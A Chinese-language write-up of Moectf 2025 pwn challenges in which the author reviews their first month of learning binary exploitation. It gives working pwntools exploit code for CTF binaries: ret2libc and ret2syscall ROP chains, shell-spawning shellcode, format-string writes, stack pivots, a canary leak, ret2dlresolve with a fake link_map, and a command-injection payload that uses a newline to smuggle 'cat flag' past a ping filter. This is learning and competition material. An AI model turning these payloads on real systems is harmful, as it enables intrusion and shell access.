Moectf 2025

一份迟到的不必要的WP,同时也是回顾si进pwn的世界的第一个月

0 二进制漏洞审计入门指北

真正的梦开始的地方,从熟悉流程开始,题目里把解题脚本直接给了出来:

from pwn import *                                    # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。

# 有时我们需要在本地调试运行程序,需要配置 context.terminal。详见入门指北。

# io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect(???, ???)              # 与在线环境交互。
io.sendline(b'114511')              # 什么时候用 send 什么时候用 sendline?

payload  = p32(0xdeadbeef)          # p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别?
                                    # 你看懂原程序这里的检查逻辑了吗?
payload += b'shuijiangui'           # strcmp

io.sendafter(b'password.', payload) # 发送!通过所有的检查。

io.interactive()                    # 手动接收 flag。

正常的程序运行流程就会进入后门,需要输入一次数字和一次字符串,都通过比较即可进入后门,读出flag,这不是重点

pwntools提供了process connect等等函数以自动化与程序交互。仍记得第一次看到以上脚本时的茫然。

1 ez_u64

这道题需要认识到数字的实际存储与看到的并不等同。

程序以字节形式输出了一个数字,它看起来大概是这样的:�␦�`'Ce@,8个莫名奇妙的字符

借助pwntools的u64可以将其还原回数字。同时这个数字每次运行不同,需要我去手动接收输出的字符

#……
hint_data = io.recv(8)

num = u64(hint_data)
#……

1 find it

涉及文件描述符的分配策略,即需要时返回当前可用的最小的文件描述符

read和write函数的三个参数均为:文件描述符、缓冲区、缓冲区大小

本题中先是v3 = dup(1);复制了标准输出的stdout,这里给v3的文件描述符的就是3,然后close(1)把标准输出关闭,再执行了一个open输入文件,并让我们猜出其文件描述符,即重新变得可用的1

2 EZtext

如果说前几道题只是学习pwn之前要掌握的基本知识,这里终于算迈进了pwn的大门

int __fastcall overflow(int a1)
{
  _BYTE buf[8]; // [rsp+18h] [rbp-8h] BYREF

  if ( a1 <= 7 )
    return puts("Come on, you can't even fill up this array?");
  read(0, buf, a1);
  return puts("OK,I receive your byte.and then?");
}

这里的a1是一个自己输入的任意数字,题目贴心地提醒我们要利用栈溢出

于是正式开始了ROP的过程,是一个基础的ret2text,有后门函数,把后门函数地址覆盖在栈上存函数返回地址的位置即可

ezshellcode

本道题没有了后门函数,但是某种程度上更加直白:

read(0, s, 0x1000u);
((void (*)(void))s)();

读一个字符串然后不管三七二十一直接执行,所以直接发送一个进入shell的shellcode,用pwntools里的shellcraft可以很方便的构造出来,再用asm转成字节码:

shellcode = asm(shellcraft.sh())

3 认识libc

一个程序很难不依赖外部的库函数,即链接库。在本题中终于遇到了libc

一个很重要的事是修改本地可执行文件的libc,因为默认的是本地系统库,而非远程环境下的。而远程的libc文件会与可执行文件一并给出,patchelf一下即可

利用libc的第一步永远是泄露基地址,因为其中函数的运行时地址每次均不一样,且依赖碰撞解题完全不可行,本题作为libc的引入直接给出了printf函数的地址,以及一个足够大的栈溢出

libc里各种零件应有尽有,比如pop rdi; ret和"/bin/sh\x00"字符串,于是下一步就可以为所欲为了:

libc = ELF('./libc.so.6') 

recv_data = io.recvuntil(b'> ')
printf_match = re.search(rb"location of 'printf': (0x[0-9a-fA-F]+)", recv_data)
printf_addr = int(printf_match.group(1), 16)

print(printf_addr)
# 计算libc基址和关键函数地址
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 查找ROP gadgets
rop = ROP(libc)
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0] + libc_base
ret_gadget = rop.find_gadget(['ret'])[0] + libc_base

# 计算溢出偏移量
# buf在rbp-0x40处,需要64字节到达rbp,再8字节覆盖返回地址
offset = 64 + 8

# 构造payload
payload = b'A' * offset
payload += p64(ret_gadget)      # 栈对齐
payload += p64(pop_rdi_ret)     # pop rdi; ret
payload += p64(binsh_addr)      # "/bin/sh"字符串地址
payload += p64(system_addr)     # system函数地址

io.sendline(payload)
io.interactive()

boom && boom_revenge

此题用随机数模拟了一个canary,有后门函数和任意读,故只需要猜到这个canary即可,其生成机制:

canary = (int)random() % 114514;

这是一种可以预测的随机机制,time(0)种子在一秒内不变:

import ctypes   
import time 

current_time = int(time.time()) 
# 设置随机数种子 
libc.srand(current_time)     
# 生成与程序相同的随机数 
canary_value = libc.rand() % 114514  

fmt

在栈溢出之后接触到的第二个功能强大的漏洞,可以定位泄露寄存器与栈,以及篡改。此题作为引入只需要泄露即可

可以看见:

fgets(s, 80, stdin);
printf("Nice to meet you,");
printf(s);

直接printf输入的字符串,送进去一些%s或者%p,printf函数就会找不到足够的参数于是去栈上匹配,然后把栈上的数据输出出来

inject

按照题目所说,这是一个利用简单、难以防御、危害还可能极大的漏洞:

_printf_chk(1, "Enter host to ping: ");
v0 = buf;
if ( read(0, buf, 0xFu) <= 0 )
  exit(1);
v1 = strlen((const char *)buf);
if ( *(&v4 + v1) == 10 )
  *(&v4 + v1) = 0;
if ( check((const char *)buf) )
{
  v0 = &qword_20;
  _snprintf_chk(command, 32, 1, 32, "ping %s -c 4", (const char *)buf);
  v2 = command;
  execute(command);
}

大意是输入一个ping命令,然后要经过一个strlen和一个check函数的检查,只要通过了就会直接执行,这里的check逻辑是:

return strpbrk(a1, ";&|><$(){}[]'\"`\\!~*") == 0;

也就是不能有如上大部分字符

然而这个检测还是不严格的,strlen遇到\n就会停止,check也没有检测它,所以就可以:

payload = b"1\ncat flag\nping 127.0.0.1\n"

randomlock

表面上是一个随机数算法,实际上……呃……种子经过一系列复杂的运算之后是固定的

具体怎么做的忘了

str_check

涉及一些字符串函数的细节

char dest[24];

  puts("What can u say?");
  __isoc99_scanf("%255s", str);
  puts("So,what size is it?");
  __isoc99_scanf("%zu", &n);
  len = strlen(str);
  if ( (unsigned __int64)len > 0x18 )
  {
    puts("Oh,too much.");
    exit(1);
  }
  if ( !strncmp(str, "meow", 4u) )
    memcpy(dest, str, n);
  else
    strncpy(dest, str, n);
  puts("You're right.");

str在bss段,dest在栈上。借助一个拷贝函数把str转移到栈上,其中memcpy严格复制n字节,strncpy遇到\0停止,strlen也是遇到\0中断

所以算是栈溢出检查不严格,然后此题有后门函数,按照正常ROP思路ret过去即可

syslock

此题又引入了一个重要的知识点——系统调用,也就是ret2syscall

基本原理就是认识syscall函数,其依据调用时的rax的不同执行不同的系统调用。此类题目的缺点是需求的“工具”比较多,当然此题作为引入都直白的给出来了

第一个工具,设置syscall的参数,在gadget函数中给出了

.text:0000000000401240                 pop     rdi
.text:0000000000401241                 pop     rsi
.text:0000000000401242                 pop     rdx
.text:0000000000401243                 retn

第二个工具,修改rax的值,也在gadget函数中给出了

.text:0000000000401244                 pop     rax
.text:0000000000401245                 retn

第三个工具,传入的参数,也就是"/bin/sh\x00",此题有读入一个字符串到bss段,输入即可

read(0, (char *)&s + i, 0xCu);

然后注入字符串s的地址

最后一个工具,ret2syscall的根本,一个syscall,在程序中也能直接找到

于是构建ROP链,注意栈对齐:

payload = b'A' * 8
payload += b'A' * 64  

#payload += p64(ret)*0                    # ret
payload += p64(pop_rax_ret)              # pop rax ; ret
payload += p64(59)                       # RAX = 59
payload += p64(ret)                      # ret
payload += p64(pop_rdi_rsi_rdx_ret)  # endbr64 ; pop rdi ; pop rsi ; pop rdx ; ret
payload += p64(binsh_addr)               # RDI = "/bin/sh" 指向新的字符串位置
payload += p64(0)                        # RSI = NULL
payload += p64(0)                        # RDX = NULL
#payload += p64(ret) *0                  
payload += p64(syscall)                  # syscall
```   

### xdulaker
栈上的数据在rbp/rsp变化后不会立即清理,如果进行新的函数调用时未初始化栈上变量,就有很大的利用空间

此题另一个考察点事开启了四大保护之一的PIE保护,即随机化代码段地址,在IDA里看到的地址不再是0x40????,而是:
```text
.text:0000000000001249 backdoor

这样的小地址,想要获得真是地址需要和之前的libc一样,泄漏点什么地址,而相对位置是固定不变的,借此找到其余函数地址。此题同样没有为难我们,直接告知了,本题有后门函数,ret2text即可

easylibc

此题开启了ASLR和PIE两种保护,但是重点考察内容则是动态链接和延迟绑定,简单的说——调用库函数时去查表找具体的地址,而对应的表项直到调用时才会生成。

同样,涉及libc的题目总是要泄露基地址,本题printf了read的地址,然而此时read还没调用过,输出的是其plt表表项的地址,借此得到其余函数地址,也就是破解了PIE保护。

借助栈溢出重新回到main函数,此时read函数已经调用过,再次printf时就输出了其libc地址,也就是得到了libc基地址,接下来就和认识libc那道题一样构建ROP链即可

ezpivot

本题涉及了一个新的技巧,栈迁移(stack pivot)

函数read了两次,第一次写到bss段,长度自己输入,作为一个有符号数不大于32,但是实际使用时是作为无符号数处理的——简而言之输入-1得到无限读,即bss段无限写

第二次read的长度固定,只溢出16字节

另外本题表面上有后门函数时ret2text,实际上是一个system("echo moectf{WowYouGetTheFlag}"),里面显然不是真正的flag,此题还给了pop rdi;ret的gadget,其实是一道ret2syscall

第一步是解决ROP链放不下的问题,借助篡改栈上保存的rbp实现栈迁移,把另一段可控区域作为新的栈,在可控区域内布置ROP链,用一个leave ret的gadget把rbp恢复到保存值

此题给的是system而非syscall,不需要设置rax,但是仍然需要"/bin/sh\x00"字符串,写在bss段一个找得到的地址即可

一个大坑是system系统调用过程中访问了一个比较低的地址,如果访问到了代码段就会出错,所以要给栈留出足够大的空间

ezprotection

有后门函数,但是增加了canary保护导致常规的栈溢出变得不可行,然而read再puts导致了canary的泄露,栈溢出又重新可行了:

canary为了截断一些用来泄露的函数,诸如puts,它的最低一个字节是0x00,因此,如果你能通过栈溢出覆盖掉这个0x00,就可以用输出函数将其泄露出来,

此题有后门函数,backdoor函数里有一些装模作样的密码检查,实际上完全不用在意,ret到检查结束之后即可

另外此题也有PIE保护,这里要了解PIE的随机特点,即颗粒度并不会很细,低12位是不变的。然而篡改的颗粒度是字节,也即16位,需要多次尝试爆破一下

fmt_S

卡了我相当长时间的一道题,也基本宣告着这一个月学习的终点,是我在tsctf前解出的最后一道题

涉及非栈上的格式化字符串漏洞,时值hitsz的ctf比赛招新,在他们的文档里看到了此类题目的解法,然后经过反复调试才逐步学会

完整贴一下题目吧:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("You're walking down the road when a monster appear.");
  for ( i = 1; i <= 3 && !flag; ++i )
    talk();
  if ( (unsigned __int64)atk <= 0x1BF52 )
    puts("You've been eaten by the monster.");
  else
    he();
  return 0;
}

size_t talk()
{
  puts("You start talking to him...");
  flag ^= 1u;
  read(0, fmt, 0x20u);
  printf(fmt);
  puts("?");
  puts("You enraged the monster-prepare for battle!");
  return my_read(&atk, 8u);
}

在fmt那道题里提到过格式化字符串漏洞是可以完成篡改的,具体而言,当读到%n参数,会把匹配到的位置看做地址,往其中写入已经printf的字节数,因而实现了篡改,有四种大小参数,%n、%hn、%hhn、%lln,分别对应4、2、1、8字节

此题中flag和atk都是bss段的全局变量,而最重要的,读入的内容fmt也在bss段,而非栈上

先说常规之处,控制循环的变量i既然在栈上,就在格式化字符串课篡改的范围内,所以循环次数一定是要改成无穷多次的。

libc地址和函数地址很难不出现在栈上,利用gdb和%p可以很轻易地泄露出来

最终的利用是篡改printf的got表项,把其内容改成system函数的地址,这样再一次printf时输入"/bin/sh\x00"即可getshell

然而篡改got表并非最优解,因为printf和system的地址后3字节不同,%hn不够,%n又过长,偏偏此题限制read长度无法分两次,实战中用%n传了足足半个小时,但也是拿到flag了

题解给的思路是篡改整个程序的返回地址,在那里构建ROP链,既然还在栈上显然也是在格式化字符串的能力范围内,且可以分步改,不像printf一样一次printf改不完就会崩掉

真正的难点是如何借助栈上的指针完成篡改

假设栈地址A上有一个指向C的指针B,看起来就是这样的: A: B->C

如果把B作为%n的参数,printf会把B看做一个指针去篡改C,于是实现了对C的篡改

同时B如果是一个栈地址,就一定存在 B: C

我们可以借助 A-B-C这条链把C改成另一个指针——假设为D,其值为E,这样再把B作为%n的参数,就可以借助B-D-E这条链篡改E的值

由于这里C可以被篡改成任意地址,所以E就可以成为任意值,于是任意写就达成了,此题的核心利用也就完成了

hardpivot

依旧是栈迁移,在tsctf里遇到了此题的变种,本题友善地提供了pop rdi; ret的gadget,故而比之简单一些。

按照栈迁移的一般思路,第一步是得到一块可控区域。然后是ret2libc必要的libc基地址,都得到后即可按照常规思路getshell

溢出16字节,第一轮栈迁移,将rbp转移到bss段,把返回地址篡改为read函数,从设置参数开始。正常流程执行完毕后leave_ret,rbp变成了篡改后的值且回到了read调用前,buf位置是依据rbp确定的

然后泄露libc,在可控段构建ROP链,利用pop rdi完成puts(puts.got)即可,在ROP链的结尾再触发一次read,然后leave,把rbp改到新buf[0]的值

再然后第二次迁移,再进行一轮ROP,思路不变,pop rdi /bin/sh\x00 call system即可

fmt_t

其实相比于fmt_s的非栈上指针复杂的简介修改,此题输入内容在栈上反而简单了不少,基本思路即先把要篡改的数据地址读到栈上,再把它作为%n的参数完成篡改,同时此题第一轮read可以泄露libc地址

hell(5)只能读入5个字节,由于hell调用时递归的,其读入的内容在最后执行,"/bin/sh\x00"过长,用"sh\x00"即可

printf和system依然是低3字节不同,需要篡改两次

shellbox

沙箱保护、静态链接

通过seccomp禁掉了execve等系统调用,然而getshell不行可以ORW,即open、read、write

思路是在bss段上写入shellcode,然后利用栈溢出跳到开头完成执行,但是在此之前还需要用mprotect函数给予bss段可执行权限,ROP完成

No way to leak!

题目是一个直白的足够大的栈溢出,给了pop rdi ret 的gadget,但是除此之外实在是一干二净,没有backdoor没有libc,甚至连puts函数也没有,但是题目告知了此题应当用ret2dlresolve来解,wiki上有讲解,以及这篇博客

利用围绕着_dl_runtime_reslove这个函数,正常流程中:在程序首次调用一个函数时,会跳到plt表,然后跳转到got表,此时表为空未解析,接着跳转到PLT[0],再跳入_dl_runtime_resolve,它会解析所调用的函数,然后更新got表,完成绑定并执行。

观察call read之后的过程:

► 0x401060       <read@plt>                        endbr64
  0x401064       <read@plt+4>                      bnd jmp qword ptr [rip + 0x2fb5]   <0x401040>
   ↓
  0x401040                                         endbr64
  0x401044                                         push   1
  0x401049                                         bnd jmp 0x401020                   <0x401020>
   ↓
  0x401020                                         push   qword ptr [rip + 0x2fe2]
  0x401026                                         bnd jmp qword ptr [rip + 0x2fe3]   <_dl_runtime_resolve_xsavec>

_dl_runtime_resolve参数为push到栈上的两个值,link_map和reloc_offset(函数在rel.plt上的偏移)

看一眼[rip + 0x2fe2],在0x404008,其值为0x00007552d64e92e0

link_map结构如下:

struct link_map  {   
    ElfW(Addr) l_addr;     /*共享对象的加载基址;*/            
    char *l_name;                
    ElfW(Dyn) *l_ld;                   
    struct link_map *l_next, *l_prev; /*管理link_map的双链表指针;*/
    struct link_map *l_real;        
    Lmid_t l_ns;    	
    struct libname_list *l_libname;     
    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];    /*保存Elfxx_Dyn结构体指针的列表,用来寻找各节基址;如l_info[DT_STRTAB]指向保存着函数解析字符串表基址的Elfxx_Dyn结构体。*/
    const ElfW(Phdr) l_phdr;          
    ElfW(Addr) l_entry;                 
    ElfW(Half) l_phnum;                   
    ElfW(Half) l_ldnum;                
}

接下来需要理解_dl_runtime_resolve如何利用link_map和offset完成符号解析,这一步主要依靠_dl_fixup部分完成,参数同上,返回真实地址

其中调用了_dl_lookup_symbol_x函数,可以看到:

► 0x7552d64c2bf7 <_dl_fixup+263>    call   _dl_lookup_symbol_x         <_dl_lookup_symbol_x>
       rdi: 0x3fe501 ◂— 0x6474730064616572 /* 'read' */
       rsi: 0x7552d64e92e0 ◂— 0
       rdx: 0x7fff15cca570 —▸ 0x3fe460 ◂— 0x1200000011
       rcx: 0x7552d64e9680 —▸ 0x7552d64e95d8 —▸ 0x7552d64ae6c0 —▸ 0x7552d64e92e0 ◂— 0
       r8: 0x7552d64ae710 —▸ 0x3fe52d ◂— 'GLIBC_2.2.5'
       r9: 1
       arg[6]: 1
       arg[7]: 0

rdi中存的是.dynstr 段中的"read"字符串,rsi中是link_map首地址,rdx指向0x3fe460,是.dynsym 段对应read的部分:

_dl_lookup_symbol_x (undef_name=0x3fe501 "read",
    undef_map=undef_map@entry=0x7552d64e92e0,
    ref=ref@entry=0x7fff15cca570, symbol_scope=0x7552d64e9680,
    version=0x7552d64ae710, type_class=type_class@entry=1, flags=1,
    skip_map=0x0)

接下来考虑利用,也就是用假的link_map将read解析成system填入got表

此题的fake_link_map:

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
    # offset = l_addr =  libc.sym['system'] -libc.sym['setbuf']  
    # symbol_addr = setbuf_addr + (system_addr - setbuf_addr) = system_addr
    # l_addr = -769472, 通常为负数
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值

    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 

    linkmap += p64(0x7)     # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)       # Rela->r_addend,任意值都行

    linkmap += p64(0)       #l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

(有待进一步学习,yield())